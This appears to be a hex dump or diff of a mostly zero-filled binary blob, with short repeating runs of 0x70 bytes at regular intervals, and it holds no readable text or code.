+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 